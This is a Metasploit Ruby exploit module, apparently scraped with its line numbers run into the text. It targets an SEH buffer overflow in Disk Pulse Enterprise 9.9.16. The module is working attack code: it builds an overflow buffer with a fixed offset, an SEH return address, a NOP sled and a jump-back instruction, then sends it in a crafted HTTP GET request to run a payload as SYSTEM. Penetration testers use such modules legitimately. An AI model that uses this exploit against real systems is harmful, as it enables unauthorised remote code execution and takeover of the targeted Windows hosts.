Path: blob/master/modules/exploits/windows/http/disk_pulse_enterprise_get.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',16'Description' => %q{17This module exploits an SEH buffer overflow in Disk Pulse Enterprise189.9.16. If a malicious user sends a crafted HTTP GET request19it is possible to execute a payload that would run under the Windows20NT AUTHORITY\SYSTEM account.21},22'License' => MSF_LICENSE,23'Author' => [24'Chance Johnson', # msf module - [email protected]25'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com26],27'References' => [28[ 'EDB', '42560' ]29],30'DefaultOptions' => {31'EXITFUNC' => 'thread'32},33'Platform' => 'win',34'Payload' => {35'EncoderType' => "alpha_mixed",36'BadChars' => "\x00\x0a\x0d\x26"37},38'Targets' => [39[40'Disk Pulse Enterprise 9.9.16',41{42'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll43'Offset' => 249244}45]46],47'Privileged' => true,48'DisclosureDate' => '2017-08-25',49'DefaultTarget' => 0,50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options([Opt::RPORT(80)])59end6061def check62res = send_request_cgi(63'uri' => '/',64'method' => 'GET'65)6667if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/68return Exploit::CheckCode::Appears69end7071return Exploit::CheckCode::Safe72end7374def exploit75connect7677print_status("Generating exploit...")78exp = payload.encoded79exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset80exp << generate_seh_record(target.ret)81exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode82exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start83exp << 'B' * (5000 - exp.length) # padding8485print_status("Sending exploit...")8687send_request_cgi(88'uri' => '/../' + exp,89'method' => 'GET',90'host' => '4.2.2.2',91'connection' => 'keep-alive'92)9394handler95disconnect96end97end9899100